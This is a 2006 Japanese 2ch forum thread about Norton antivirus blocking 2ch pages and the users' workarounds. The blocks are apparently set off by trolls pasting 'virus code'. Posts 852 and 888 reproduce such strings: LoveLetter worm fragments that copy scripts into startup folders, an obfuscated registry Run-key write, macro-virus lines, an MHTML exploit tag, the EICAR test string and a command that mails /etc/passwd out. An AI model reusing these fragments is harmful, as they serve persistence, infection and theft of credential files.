X
トップページ⇒運用情報
981コメント274KB
ノートン誤作動対策本部
レス数が900を超えています。1000を超えると表示できなくなるよ。
0001動け動けウゴウゴ２ちゃんねる
垢版 |
2005/11/28(月) 16:08:40ID:bR9gbCGm0
詳細: 侵入を検出して遮断しました。 news19.2ch.net(206.223.151.67) とのすべての通信は 30 分間にわたって遮断されます。
アドレスをクリックすると攻撃者を追跡できます
この攻撃について詳しくは シマンテック･セキュリティ･レスポンス
0810動け動けウゴウゴ２ちゃんねる
垢版 |
2006/04/19(水) 01:22:14ID:c9kwy/nh0
シマンテックアンチウイルスってはじめて聞いたや
ぐぐったところ企業用？
よくわからんが個人のPCにどこまで権限あるのかねぇ
0811動け動けウゴウゴ２ちゃんねる
垢版 |
2006/04/20(木) 14:40:19ID:cpaj9cKu0
>>810
説明不足ですいません、企業用のものです
一応無償でもらったノートPCなのですが・・・
ノートンに変えていいか聞いてみます
0817動け動けウゴウゴ２ちゃんねる
垢版 |
2006/04/29(土) 08:20:30ID:4i3tyZmJ0
また、マカフィーが大激怒…

任天堂新ハード正式名称発表その名も「wii（ｳｨｰ）」
ttp://live22x.2ch.net/test/read.cgi/news/1146155170/


…｢ノートン先生｣みたいに、スキャン対象から簡単に外せないんだから、ウィルスコード貼るな！


お願いしますよ　orz
0818動け動けウゴウゴ２ちゃんねる
垢版 |
2006/04/29(土) 09:51:08ID:v+w1epi4P
>>817
>>167
0822187.72.30.125.dy.iij4u.or.jp(125.30.72.187)
垢版 |
2006/05/06(土) 02:41:29ID:y9hztnnP0
ためさせて・・
Monazilla/1.00 (V2C/T20060424)
0825動け動けウゴウゴ２ちゃんねる
垢版 |
2006/05/06(土) 13:29:11ID:IDtWUQIu0
>>824
オプション→インターネットワーム防止→AutoBlockで遮断しているIPがあれば除外
→防止を有効にするのチェック外してログ取得
これでもダメ？
0828動け動けウゴウゴ２ちゃんねる
垢版 |
2006/05/13(土) 03:20:08ID:WH+6QveU0
また、コード貼った馬鹿が…　orz

【国際】「麻薬の運び屋に仕立てられた」　無罪訴え続けた日本人男性、逮捕から１４年で仮釈放…オーストラリア
ttp://news19.2ch.net/test/read.cgi/newsplus/1147357192/

ｼｸｼｸｼｸ
0830動け動けウゴウゴ２ちゃんねる
垢版 |
2006/05/13(土) 10:31:19ID:ZNCsmQsr0
昨日あたりから板を開くとノートンが反応するんだけど、
同じ境遇の人っている？
0832動け動けウゴウゴ２ちゃんねる
垢版 |
2006/05/13(土) 13:57:27ID:4Mz3XLyv0
ノートンを誤作動させる文字列は何年も前からあるし、シマンテックに連絡しても
これで正常と言って対策しない。
つまりシマンテックは自力で対策できる人だけ買ってくれればいいと言っている。
そんなソフトは>>167
0833得ROM街の悪無 ◆wv57DoER0M
垢版 |
2006/05/13(土) 18:17:51ID:MOWCA5430
AntiVirus の設定→除外→C:\Program Files\Jane\Logs
2chブラウザ使ってるならこれでいいでそ
0835動け動けウゴウゴ２ちゃんねる
垢版 |
2006/05/15(月) 18:54:17ID:PrBQtiGL0
Janeを開いたり更新をするたびに
C:\ProgramFiles\Jane Style\Logs\2ch\AA\AAサロン\subject.txt
この警告が出ます。
除外もしたり、このtxtを削除したりもするのですが効果が出ませんでした。
対処法をお願いします。
0839動け動けウゴウゴ２ちゃんねる
垢版 |
2006/05/15(月) 19:23:32ID:ykTsWDCL0
３日前から、ラウンジクラシックに入ろうとするとノートンアンチウイルス2005が反応して、
sports2鯖ごとノートンにアク禁されます。
一度踏むと３０分間アク禁で、ノートン無効にしてもダメなので困ってます。

↓ログ

詳細: このコンピュータに対する侵入 「HTTP MSIE JavaScript OnLoad Rte CodeExec」 の試みを検出して遮断しました。
侵入者: sports2.2ch.net(210.（伏せ；侵入者のIPアドレス）)(http(80)).
危険度: 高
プロトコル: TCP
攻撃された IP: DEFAULT(192.（伏せ；自分のPCのIPアドレス）.1).
攻撃された ポート: xxxx
　　　　　　　　　　　　　↑ランダム

これもウイルスコードの仕業ですか。
0843動け動けウゴウゴ２ちゃんねる
垢版 |
2006/05/20(土) 02:01:04ID:UxN9/Hbe0
N速＋でまた、幾つかのスレにウィルスコード張られてるなぁ…



貼る馬鹿は、樹海池
0845動け動けウゴウゴ２ちゃんねる
垢版 |
2006/05/20(土) 02:08:04ID:4fzoyPrc0
貼る馬鹿っつーのは、他人の家に勝手に出前送りつけたり
ピンポンダッシュして物陰からニヤニヤしながら眺めてるような奴なのかな？
マジで樹海逝ってくれ
0849動け動けウゴウゴ２ちゃんねる
垢版 |
2006/05/21(日) 17:58:26ID:+w8Xwl0G0
ヽ(`Д´)ﾉｳﾜｧｧﾝ!!
0851動け動けウゴウゴ２ちゃんねる
垢版 |
2006/05/22(月) 00:10:53ID:8SW5pKAP0
野豚先生のオートブロックからオカ板を救い出そうとしたんだけど、制限押しちゃった。
どうしたら制限解除できるか教えてえらい人。
0852動け動けウゴウゴ２ちゃんねる
垢版 |
2006/05/22(月) 05:24:43ID:wNSTIVWx0
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
cat /etc/passwd | mail nobody@nonexistent.com
If s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
0854動け動けウゴウゴ２ちゃんねる
垢版 |
2006/05/22(月) 18:34:49ID:x/ho1oyO0
今日ノートンをつけたけど、ホントにウィルスが反応したｗｗｗ
びっくりｗｗ
0857動け動けウゴウゴ２ちゃんねる
垢版 |
2006/05/22(月) 23:06:13ID:ETkw1oK20
おおう・・・アンチウイルスがMSIEJAVAオンロードに反応して
このスレの対策覗けなかったぜ
ワーム防止解除でやっと見れた

少し賢くなれた気がする。自分にとって不具合がある方がなあに、かえって免疫力がつく。
そして流石はノートン先生、生まれた子供を崖から消毒するだけのことはある。
0858名無しさんの助言 ◆JogenOuJ66
垢版 |
2006/05/23(火) 08:29:28ID:n+xiKrcl0
＞そして流石はノートン先生、生まれた子供を崖から消毒するだけのことはある。

ここんとこｸｿワロタ。

専用ブラウザ使ってる人は、852の書き込みをそのままNGワードのリストに貼っちゃうというのも
楽かも知れないですね、とか言ってみるテスト。
0860動け動けウゴウゴ２ちゃんねる
垢版 |
2006/06/01(木) 08:12:48ID:3zZVmq9d0
今日反応したスレ

【日テレ隠蔽疑惑】炭谷宗佑アナを報じない日テレ、容疑否認のテレ東社員を実名報道　テレ東も即日実名で伝える★２
http://news19.2ch.net/test/read.cgi/newsplus/1148999462/

…この騒動が起きてから、幾つかの『日テレ隠蔽疑惑』関連スレに、
ウィルスコード貼ってる香具師が居るなぁ




まさか、関係者？＞コード貼る馬鹿
0862softbank220001088253.bbtec.net(220.1.88.253)
垢版 |
2006/06/01(木) 22:47:23ID:/syViJED0
どう？
Monazilla/1.00 (cockcrow/2.5.5.5)
0863動け動けウゴウゴ２ちゃんねる
垢版 |
2006/06/01(木) 23:12:19ID:2pQl8VUp0
誤作動ばかり起こるセキュリソフトを使い続ける人の気が知れねｗｗｗｗ
0864動け動けウゴウゴ２ちゃんねる
垢版 |
2006/06/02(金) 18:24:12ID:1Oq2QSVQ0
やっとここにたどり着いた。
昨日206.223.152.55に攻撃されたのはノートンのせいってこと？
何度も攻撃されてびびったよ誰か教えて。
0866動け動けウゴウゴ２ちゃんねる
垢版 |
2006/06/02(金) 19:43:52ID:ep2eE5W+0
＞昨日206.223.152.55に攻撃された

なんで２ちゃんのサーバーがお前を攻撃するんだ？

206.223.152.55 = tiger508.maido3.com = life7.2ch.net

自己紹介 夢･独り言 生活ｻﾛﾝ 生活全般 その日暮らし 一人暮らし 借金生活
ｽﾎﾟｰﾂｸﾗﾌﾞ 記念日 冠婚葬祭 育児 家具 ﾓﾃﾞﾙ ﾌｧｯｼｮﾝ 靴 化粧 美容 美容整形
一般海外生活 北米海外生活 ｸﾚｼﾞｯﾄ 家庭 懸賞 たばこ めがね ﾏｲﾗｲﾝ ｺﾝﾋﾞﾆ ﾊﾞｰｹﾞﾝ  
ﾋｯｷｰ ﾒﾝﾍﾙｻﾛﾝ 癒し 人生相談 心と宗教 身体･健康 ｱﾄﾋﾟｰ ｱﾚﾙｷﾞｰ ﾊｹﾞ･ｽﾞﾗ ﾒﾝﾀﾙﾍﾙｽ
0868動け動けウゴウゴ２ちゃんねる
垢版 |
2006/06/03(土) 22:12:48ID:zqZmttpa0
ノートンアンチウイルス２００５の場合、設定はどうやったらいいのでしょうか？
ｴﾛｲ人教えて
0869868
垢版 |
2006/06/03(土) 22:22:47ID:zqZmttpa0
自己解決しました。すみません。
0872動け動けウゴウゴ２ちゃんねる
垢版 |
2006/06/03(土) 23:06:24ID:uTPZaxbS0
test
0874870
垢版 |
2006/06/03(土) 23:38:39ID:LY3W2bvD0
書き込まず読み込むだけで
インターネットワーム防止→AutoBlockルール
にその板の２ちゃんアドレスが書き込まれます

もちろん「侵入を検知して遮断しました」と言われるわけですが


「HTTP MSIE JavaScript OnLoad Rte CodeExec」のチェックを外せば
読み込めますが、うざすぎ
0876動け動けウゴウゴ２ちゃんねる
垢版 |
2006/06/04(日) 09:39:07ID:SyplLNft0
ノートン捨てた。ソースネクストにした。良かった。
0880動け動けウゴウゴ２ちゃんねる
垢版 |
2006/06/04(日) 22:55:29ID:zBN5dg8i0
つーか、誤動作というより２ch管理人が
HTTP MSIE JavaScript OnLoad Rte CodeExec送信してアクセス妨害しているだけだし

ノートン入れられると２ｃｈにとって都合の悪い利用者のハッキングができないから
どーしてもノートンを外させたいらしいね
0882動け動けウゴウゴ２ちゃんねる
垢版 |
2006/06/05(月) 11:14:26ID:9IAVDNee0
>>835
表示されたファイルをＡｕｔｏ−Ｐｒｏｔｅｃｔの除外リストに加える。
シマンテック
ttp://service1.symantec.com/SUPPORT/INTER/navjapanesekb.nsf/7c3ff4677729271685256c470046ed2e/d9265b84ded9587488256b0400811ff7
0884882
垢版 |
2006/06/05(月) 12:47:48ID:9IAVDNee0
>>883
貴重なご意見ありがとうございます。
今後の参考にさせていただきます。
0888動け動けウゴウゴ２ちゃんねる
垢版 |
2006/06/10(土) 14:13:07ID:B1kyHaxf0
//<body onload=window()>
If s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)))
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
<object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm"; type="text/
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
ms-its:mhtml:file://c:\
kak.hta';ken=wd+'START
kill -9 xz/tSaBh0
Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub
Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "＼" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10
End Sub
？？？

これってＮＩＳ2003でどう対処すればいいですかね
ttp://mickey.mirv.net/2chnis.html とかもやってみたけど効果なかった。
0889動け動けウゴウゴ２ちゃんねる
垢版 |
2006/06/10(土) 14:37:07ID:vbM5yPaN0
２ちゃんねるWiki
http://info.2ch.net/wiki/pukiwiki.php?%A3%B2%A4%C1%A4%E3%A4%F3%A4%CD%A4%EBWiki
ノートン入れたら２chに書きこめない人へ
http://info.2ch.net/wiki/pukiwiki.php?%A5%CE%A1%BC%A5%C8%A5%F3%C6%FE%A4%EC%A4%BF%A4%E9%A3%B2ch%A4%CB%BD%F1%A4%AD%A4%B3%A4%E1%A4%CA%A4%A4%BF%CD%A4%D8
ノートン応急対策
http://info.2ch.net/wiki/pukiwiki.php?%CA%E4%C2%AD%A4%C8%CA%E4%B4%B0#Norton_Emergency_measures
0891動け動けウゴウゴ２ちゃんねる
垢版 |
2006/06/11(日) 03:59:21ID:NXtyf/QL0
むしろウイルスコード貼ったヤツは強制フシアナになるようにすればいいんだよ。
どこの誰がやっているか一発でわかるしｗｗ
0893動け動けウゴウゴ２ちゃんねる
垢版 |
2006/06/11(日) 05:18:57ID:YJ3RbPRP0
>>890-891
↓ウイルスコードを貼って、マッチ＆ポンプでノートンなどを叩いている犯人の一人の紹介スレ。


（アンチウイルスNOD32厨とｲﾝﾃﾙ厨とペストパトロール厨を兼ねている）
http://tmp6.2ch.net/test/read.cgi/tubo/1145644897/
http://66.102.7.104/search?q=cache:yFC7aJM6xCgJ:l-lab.org/pukiwiki/pukiwiki.php
http://z-temp.hp.infoseek.co.jp/2ch/Prescott699-.html
http://pc8.2ch.net/test/read.cgi/pcnews/1132667241/
http://science3.2ch.net/test/read.cgi/infosys/1088029040/
過去に確認されたリモホ
osaknt01.ap.so-net.ne.jp
osaka-ip.dti.ne.jp
acca.osaka.ocn.ne.jp
ppp.prin.ne.jp（PHS）
0895動け動けウゴウゴ２ちゃんねる
垢版 |
2006/06/11(日) 10:41:08ID:bxlw8H2ZO
いまさらウイルスコードでｷﾞｬｰｷﾞｬｰ騒ぐ奴ってなんなの？


馬鹿なの？
0898動け動けウゴウゴ２ちゃんねる
垢版 |
2006/06/11(日) 13:11:01ID:OGt9xJAc0
今日ちょうどｷﾞｬｰｷﾞｬｰ騒いでる奴見かけたところだｗ

642 名前：名無しさん＠ｺﾞｰｺﾞｰｺﾞｰｺﾞｰ！　[sage]　投稿日：2006/06/11(日) 03:26:36 ID:aqYcE6Jh
だれだ最近、避難所にウイルスコード貼る奴。
専ブラがおかしくなって、そのたびに削除→ダウンロードしなおし→お気に入り登録しなおし、すごい手間、めちゃくちゃ迷惑。

643 名前：名無しさん＠ｺﾞｰｺﾞｰｺﾞｰｺﾞｰ！　[sage]　投稿日：2006/06/11(日) 07:23:59 ID:QvemZE+C
>>642
それって難民フォルダーにあるsubject.txt（専ブラによって名称違うかも)を上書きするだけで直るよ
0901動け動けウゴウゴ２ちゃんねる
垢版 |
2006/06/17(土) 01:58:39ID:KdVQpFu60
Norton使わなきゃいいだけの話なのに
何でこんなに盛り上がってんの？

Symantecがクソなだけだろ。
2chがそこまで面倒見る必要ないよ。
0902動け動けウゴウゴ２ちゃんねる
垢版 |
2006/06/17(土) 02:10:57ID:c15+vmjg0
　　　　　　　　　　　　 _,..--‐‐‐‐‐-...,_　　　　
　　　　　　　　　　　／:::::::::::::::::::::::::::::::::::'.,　　　　
　　　　　　　　　　/:::::::::::::::::::::::::::::::::::::::::::::::..　　　　
　　　　　　　　　　i, 　NOD32厨　　 ::::::::::::,　
　　　　　　　　　　ゝ　 ／' 　'＼　　　 :::::::::::'
　　　　　　　　　　 . -･=-,　､-･=-　　::::::::::;'　　　 　
　　　　　　　　　　 | 　.,ﾉ(・ ・ ( ⌒　　::６）　　　　　　
　　　　　　　　　　 .l　┃ﾄｮﾖｺｲ┃　　.ソ　　＜ Norton使わなきゃいいだけの話なのに　　　
　　　　　　　　　　　ヽ┃｀ニ'´ ┃　,.i-、　　
　　　　　　　　　　　　　,｀~,'i' "~ ／　　,>"'-、　　
0907動け動けウゴウゴ２ちゃんねる
垢版 |
NGNG
まぁ、私の場合は

NAVが反応→NAVのオプションから
インターネットワーム防止＞AutoBlockルール＞全ての遮断を解除
して、インターネットワーム防止を解除（警告が出るので、OKを押しておく）
→2chブラウザのログを取得して、ウィルスコードの部分をローカルあぼーん

で、難なくNAVを使っているわけだが。
レス数が900を超えています。1000を超えると表示できなくなるよ。
ニューススポーツなんでも実況